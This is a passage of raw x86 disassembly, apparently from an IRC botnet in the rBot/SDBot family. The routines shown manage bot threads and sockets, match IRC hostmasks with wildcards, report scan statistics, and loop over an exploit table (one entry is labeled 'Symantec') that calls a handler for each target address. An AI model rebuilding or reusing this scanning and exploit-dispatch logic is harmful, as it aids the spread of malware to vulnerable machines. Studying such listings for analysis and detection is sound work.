call sub_40B11C
pop ecx
pop ecx
push eax
push esi
call sub_40B13C
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B2B3
push esi
mov edi, eax
call sub_41BA91
add esp, 24h
mov eax, edi
pop esi
loc_40B294: ; CODE XREF: sub_40B22B+22j
pop edi
pop ebx
pop ebp
retn
sub_40B22B endp
; =============== S U B R O U T I N E =======================================
sub_40B298 proc near ; CODE XREF: sub_40B214+Ep
; sub_40B2B3+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40B2A1
inc ecx
loc_40B2A1: ; CODE XREF: sub_40B298+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40B298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0
jnz short loc_40B2D2
loc_40B2CF: ; CODE XREF: sub_40B2B3+8j
; sub_40B2B3+Ej ...
inc [ebp+arg_C]
loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_40B2FA
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_40B2F3
cmp al, 0Dh
jz short loc_40B2F3
cmp al, 5Ch
jz short loc_40B2F3
test al, al
jnz short loc_40B2FA
loc_40B2F3: ; CODE XREF: sub_40B2B3+32j
; sub_40B2B3+36j ...
add [ebp+arg_C], 100h
loc_40B2FA: ; CODE XREF: sub_40B2B3+28j
; sub_40B2B3+3Ej
push [ebp+arg_C]
call sub_40B298
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40B312
cmp eax, 0FFFFh
jbe short loc_40B319
loc_40B312: ; CODE XREF: sub_40B2B3+56j
xor eax, eax
jmp loc_40B3B7
; ---------------------------------------------------------------------------
loc_40B319: ; CODE XREF: sub_40B2B3+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4CBB28
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_40B349
loc_40B32D: ; CODE XREF: sub_40B2B3+94j
mov al, [edx+edi]
xor al, bl
jz short loc_40B340
cmp al, 0Ah
jz short loc_40B340
cmp al, 0Dh
jz short loc_40B340
cmp al, 5Ch
jnz short loc_40B344
loc_40B340: ; CODE XREF: sub_40B2B3+7Fj
; sub_40B2B3+83j ...
inc bl
xor edx, edx
loc_40B344: ; CODE XREF: sub_40B2B3+8Bj
inc edx
cmp edx, ecx
jb short loc_40B32D
loc_40B349: ; CODE XREF: sub_40B2B3+78j
cmp ecx, esi
mov byte_4CBB28, bl
ja short loc_40B375
push 15h
push offset loc_4316A8
push [ebp+arg_0]
mov byte_4316B5, cl
mov byte_4316B9, bl
call sub_41CD20
add esp, 0Ch
push 15h
jmp short loc_40B396
; ---------------------------------------------------------------------------
loc_40B375: ; CODE XREF: sub_40B2B3+9Ej
push 17h
push offset loc_431690
push [ebp+arg_0]
mov word_43169E, cx
mov byte_4316A3, bl
call sub_41CD20
add esp, 0Ch
push 17h
loc_40B396: ; CODE XREF: sub_40B2B3+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40B3B2
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40B3A4
loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40B3B7: ; CODE XREF: sub_40B2B3+61j
pop esi
leave
retn
sub_40B2B3 endp
; =============== S U B R O U T I N E =======================================
sub_40B3BA proc near ; CODE XREF: sub_401221+378p
; sub_401221+3B7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43E720
loc_40B3C2: ; CODE XREF: sub_40B3BA+18j
cmp byte ptr [eax], 0
jz short loc_40B3D6
add eax, 234h
inc edi
cmp eax, offset dword_4CB720
jl short loc_40B3C2
jmp short loc_40B421
; ---------------------------------------------------------------------------
loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43E720[esi]
push eax
call sub_41BFD0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43E920[esi], eax
and dword_43E924[esi], 0
mov eax, [esp+8+arg_8]
and dword_43E928[esi], 0
mov dword_43E92C[esi], eax
and byte_43E938[esi], 0
pop esi
loc_40B421: ; CODE XREF: sub_40B3BA+1Aj
mov eax, edi
pop edi
retn
sub_40B3BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B425 proc near ; DATA XREF: sub_401ACD+2946o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_40B477
push [ebp+var_14]
call sub_40B6D6
add esp, 14h
push 0
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_40B425 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B477 proc near ; CODE XREF: sub_40B425+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_431784
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
xor edi, edi
mov esi, offset dword_43E720
loc_40B4A1: ; CODE XREF: sub_40B477+78j
cmp byte ptr [esi], 0
jz short loc_40B4E2
cmp [ebp+arg_C], 0
jnz short loc_40B4B5
cmp dword ptr [esi+204h], 0
jnz short loc_40B4E2
loc_40B4B5: ; CODE XREF: sub_40B477+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset aD_S ; "%d. %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
loc_40B4E2: ; CODE XREF: sub_40B477+2Dj
; sub_40B477+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4CB720
jl short loc_40B4A1
pop edi
pop esi
leave
retn
sub_40B477 endp
; =============== S U B R O U T I N E =======================================
sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp
; sub_40B583+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B57D
cmp esi, 400h
jge short loc_40B57D
imul esi, 234h
push edi
push ebx
push dword_43E934[esi]
lea edi, dword_43E934[esi]
call dword_4270B4 ; TerminateThread
cmp [edi], ebx
jz short loc_40B52D
push 1
pop ebp
loc_40B52D: ; CODE XREF: sub_40B4F5+33j
mov [edi], ebx
lea edi, dword_43E928[esi]
mov dword_43E920[esi], ebx
mov dword_43E924[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B54E
push eax
call sub_419F16
pop ecx
loc_40B54E: ; CODE XREF: sub_40B4F5+50j
mov [edi], ebx
lea edi, dword_43E92C[esi]
mov byte ptr dword_43E720[esi], bl
mov byte_43E938[esi], bl
push dword ptr [edi]
call dword_4CBA7C ; closesocket
lea esi, dword_43E930[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CBA7C ; closesocket
mov [esi], ebx
pop edi
loc_40B57D: ; CODE XREF: sub_40B4F5+Dj
; sub_40B4F5+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B4F5 endp
; =============== S U B R O U T I N E =======================================
sub_40B583 proc near ; CODE XREF: sub_40111D+18p
; sub_401221:loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43E720
loc_40B58F: ; CODE XREF: sub_40B583+2Aj
cmp byte ptr [esi], 0
jz short loc_40B5A0
push edi
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5A0
inc ebx
loc_40B5A0: ; CODE XREF: sub_40B583+Fj
; sub_40B583+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CB720
jl short loc_40B58F
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B583 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p
; sub_401ACD+4302p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43E924
loc_40B5C9: ; CODE XREF: sub_40B5B5+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B5EB
test edi, edi
jle short loc_40B5DD
cmp [esi], edi
jz short loc_40B5DD
cmp ebx, edi
jnz short loc_40B5EB
loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej
; sub_40B5B5+22j
push ebx
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5EB
inc [ebp+var_4]
loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj
; sub_40B5B5+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CB924
jl short loc_40B5C9
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B5B5 endp
; =============== S U B R O U T I N E =======================================
sub_40B602 proc near ; CODE XREF: sub_401221+40Fp
; sub_401ACD+95Ep ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43E920
loc_40B609: ; CODE XREF: sub_40B602+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B612
inc eax
loc_40B612: ; CODE XREF: sub_40B602+Dj
add ecx, 234h
cmp ecx, offset dword_4CB920
jl short loc_40B609
retn
sub_40B602 endp
; =============== S U B R O U T I N E =======================================
sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43E920
loc_40B62B: ; CODE XREF: sub_40B621+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B644
add ecx, 234h
inc edx
cmp ecx, offset dword_4CB920
jl short loc_40B62B
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B644: ; CODE XREF: sub_40B621+10j
mov eax, edx
pop esi
retn
sub_40B621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp
; sub_401ACD+125Bp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B661
push [ebp+arg_1C]
call sub_41C159
pop ecx
loc_40B661: ; CODE XREF: sub_40B648+Ej
push eax
push [ebp+arg_18]
call sub_40B5B5
pop ecx
test eax, eax
pop ecx
jle short loc_40B68D
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41C266
add esp, 14h
jmp short loc_40B6A7
; ---------------------------------------------------------------------------
loc_40B68D: ; CODE XREF: sub_40B648+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41C266
add esp, 10h
loc_40B6A7: ; CODE XREF: sub_40B648+43j
cmp [ebp+arg_C], 0
jnz short loc_40B6C7
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_40B6C7: ; CODE XREF: sub_40B648+63j
lea eax, [ebp+var_200]
push eax
call sub_415D38
pop ecx
leave
retn
sub_40B648 endp
; =============== S U B R O U T I N E =======================================
sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p
; sub_40B425+40p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43E934[eax], ecx
mov dword_43E920[eax], ecx
mov dword_43E924[eax], ecx
mov dword_43E928[eax], ecx
mov dword_43E92C[eax], ecx
mov dword_43E930[eax], ecx
mov byte ptr dword_43E720[eax], cl
mov byte_43E938[eax], cl
retn
sub_40B6D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp
; sub_40B841+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B71D: ; CODE XREF: sub_40B713+68j
mov cl, [esi]
test cl, cl
jz short loc_40B77D
cmp eax, 1
jnz short loc_40B77D
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B77D
cmp cl, 2Ah
jz short loc_40B764
cmp cl, 3Fh
jz short loc_40B747
cmp cl, 5Bh
jz short loc_40B74C
xor eax, eax
cmp cl, dl
setz al
loc_40B747: ; CODE XREF: sub_40B713+26j
inc [ebp+arg_4]
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B74C: ; CODE XREF: sub_40B713+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B7A9
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B764: ; CODE XREF: sub_40B713+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B841
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B777: ; CODE XREF: sub_40B713+37j
; sub_40B713+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B71D
; ---------------------------------------------------------------------------
loc_40B77D: ; CODE XREF: sub_40B713+Ej
; sub_40B713+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B78D
cmp eax, 1
jnz short loc_40B7A4
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B77D
; ---------------------------------------------------------------------------
loc_40B78D: ; CODE XREF: sub_40B713+6Dj
cmp eax, 1
jnz short loc_40B7A4
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B7A4
cmp byte ptr [esi], 0
jnz short loc_40B7A4
push 1
pop eax
jmp short loc_40B7A6
; ---------------------------------------------------------------------------
loc_40B7A4: ; CODE XREF: sub_40B713+72j
; sub_40B713+7Dj ...
xor eax, eax
loc_40B7A6: ; CODE XREF: sub_40B713+8Fj
pop esi
pop ebp
retn
sub_40B713 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B7CA
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B7CA: ; CODE XREF: sub_40B7A9+19j
push ebx
push esi
loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B7DA
cmp [ebp+var_4], eax
jnz short loc_40B826
loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj
test edi, edi
jnz short loc_40B81B
cmp bl, 2Dh
jnz short loc_40B80F
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B80F
cmp al, 5Dh
jz short loc_40B80F
cmp [ebp+var_4], edi
jnz short loc_40B80F
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B81B
cmp bl, al
jg short loc_40B81B
push 1
mov [edx], esi
pop edi
jmp short loc_40B81B
; ---------------------------------------------------------------------------
loc_40B80F: ; CODE XREF: sub_40B7A9+38j
; sub_40B7A9+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B81B
push 1
pop edi
loc_40B81B: ; CODE XREF: sub_40B7A9+33j
; sub_40B7A9+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B7CC
; ---------------------------------------------------------------------------
loc_40B826: ; CODE XREF: sub_40B7A9+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B833
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B833: ; CODE XREF: sub_40B7A9+82j
cmp edi, eax
jnz short loc_40B83C
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B7A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B841 proc near ; CODE XREF: sub_40B713+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B85D: ; CODE XREF: sub_40B841+3Aj
cmp [eax], bl
jz short loc_40B87D
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B872
cmp cl, 2Ah
jnz short loc_40B87D
cmp cl, 3Fh
jnz short loc_40B875
loc_40B872: ; CODE XREF: sub_40B841+25j
inc eax
mov [edi], eax
loc_40B875: ; CODE XREF: sub_40B841+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B85D
; ---------------------------------------------------------------------------
loc_40B87D: ; CODE XREF: sub_40B841+1Ej
; sub_40B841+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B888
inc dword ptr [esi]
jmp short loc_40B87D
; ---------------------------------------------------------------------------
loc_40B888: ; CODE XREF: sub_40B841+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B8A9
mov edx, [esi]
cmp [edx], bl
jz short loc_40B89A
xor eax, eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B89A: ; CODE XREF: sub_40B841+53j
cmp cl, bl
jnz short loc_40B8A9
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B8A9
push 1
pop eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B8A9: ; CODE XREF: sub_40B841+4Dj
; sub_40B841+5Bj ...
push eax
push dword ptr [esi]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_40B8F3
loc_40B8B7: ; CODE XREF: sub_40B841+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B8BB: ; CODE XREF: sub_40B841+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B8D3
cmp cl, 5Bh
jz short loc_40B8D3
cmp dl, bl
jz short loc_40B8D3
inc eax
mov [edi], eax
jmp short loc_40B8BB
; ---------------------------------------------------------------------------
loc_40B8D3: ; CODE XREF: sub_40B841+82j
; sub_40B841+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B8EA
push eax
push dword ptr [esi]
call sub_40B713
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B8EF
; ---------------------------------------------------------------------------
loc_40B8EA: ; CODE XREF: sub_40B841+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B8EF: ; CODE XREF: sub_40B841+A7j
cmp eax, ebx
jnz short loc_40B8B7
loc_40B8F3: ; CODE XREF: sub_40B841+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B906
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B906
mov [ebp+var_4], 1
loc_40B906: ; CODE XREF: sub_40B841+B6j
; sub_40B841+BCj
mov eax, [ebp+var_4]
loc_40B909: ; CODE XREF: sub_40B841+57j
; sub_40B841+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B841 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_431B9C
push eax
xor ebx, ebx
call sub_41C266
cmp dword_431800, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B980
push esi
mov esi, offset dword_431808
loc_40B941: ; CODE XREF: sub_40B90E+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B976
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_431B90
push eax
call sub_41C266
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41CBC0
add esp, 1Ch
loc_40B976: ; CODE XREF: sub_40B90E+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B941
pop esi
loc_40B980: ; CODE XREF: sub_40B90E+2Bj
push dword_4CB724
call sub_41ADD8
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41C266
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41CBC0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B90E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CE4F0
mov ecx, dword_4CE4EC
push esi
push dword_4CB724
lea esi, [ecx+eax]
call sub_41ADD8
pop ecx
push eax
push esi
push dword_4CE4F0
lea eax, [ebp+var_200]
push dword_4CE4EC
push offset unk_431BBC
push eax
call sub_41C266
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 30h
pop esi
leave
retn
sub_40B9DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CB724
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_200]
push dword_4CE728
push offset unk_431C04
push eax
call sub_41C266
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 28h
leave
retn
sub_40BA49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C500
push edi
lea eax, [ebp+var_800]
push offset dword_431C50
push eax
call sub_41C266
cmp dword_431800, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40BB0A
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40BAD3: ; CODE XREF: sub_40BA9E+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431C40
push eax
call sub_41C266
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41CBC0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40BAD3
pop esi
loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj
push dword_4CB724
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41C266
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41CBC0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_800]
push eax
call sub_415D38
add esp, 30h
pop edi
leave
retn
sub_40BA9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB65 proc near ; DATA XREF: sub_401ACD+309Ao
var_3F0 = byte ptr -3F0h
var_1F0 = dword ptr -1F0h
var_1EC = byte ptr -1ECh
var_1DC = byte ptr -1DCh
var_15C = byte ptr -15Ch
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3F0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp+var_134]
push eax
call dword_4CBA24 ; inet_addr
xor edi, edi
mov [ebp+var_8], eax
cmp dword_431800, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], edi
jz loc_40BCC7
mov ebx, offset dword_431800
mov eax, ebx
loc_40BBB6: ; CODE XREF: sub_40BB65+15Cj
push [ebp+var_1C]
push dword ptr [eax]
push [ebp+var_8]
call sub_40C34B
add esp, 0Ch
cmp eax, 1
jnz loc_40BCB7
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp+var_134]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp+var_3F0]
push offset unk_431CA0
push eax
call sub_41C266
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_409869
lea eax, [ebp+var_3F0]
push eax
call sub_415D38
add esp, 2Ch
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_1EC]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_15C]
pop ecx
push esi
push eax
call sub_41C266
cmp [ebp+var_A4], 0
pop ecx
pop ecx
lea eax, [ebp+var_A4]
jnz short loc_40BC52
lea eax, [ebp+var_124]
loc_40BC52: ; CODE XREF: sub_40BB65+E5j
push eax
lea eax, [ebp+var_1DC]
push eax
call sub_41C266
mov eax, [ebp+var_24]
pop ecx
mov [ebp+var_1F0], eax
mov eax, [ebp+var_14]
mov [ebp+var_140], eax
mov eax, [ebp+var_10]
pop ecx
mov [ebp+var_13C], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp+var_150], eax
mov eax, [ebp+var_18]
push 2Fh
mov [ebp+var_14C], eax
mov eax, [ebp+arg_0]
pop ecx
lea esi, [ebp+var_1F0]
mov edi, esp
mov [ebp+var_148], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc [ebp+var_4]
xor edi, edi
loc_40BCB7: ; CODE XREF: sub_40BB65+64j
inc [ebp+arg_0]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40BBB6
loc_40BCC7: ; CODE XREF: sub_40BB65+44j
push [ebp+var_4]
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_3F0]
push offset unk_431C6C
push eax
call sub_41C266
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
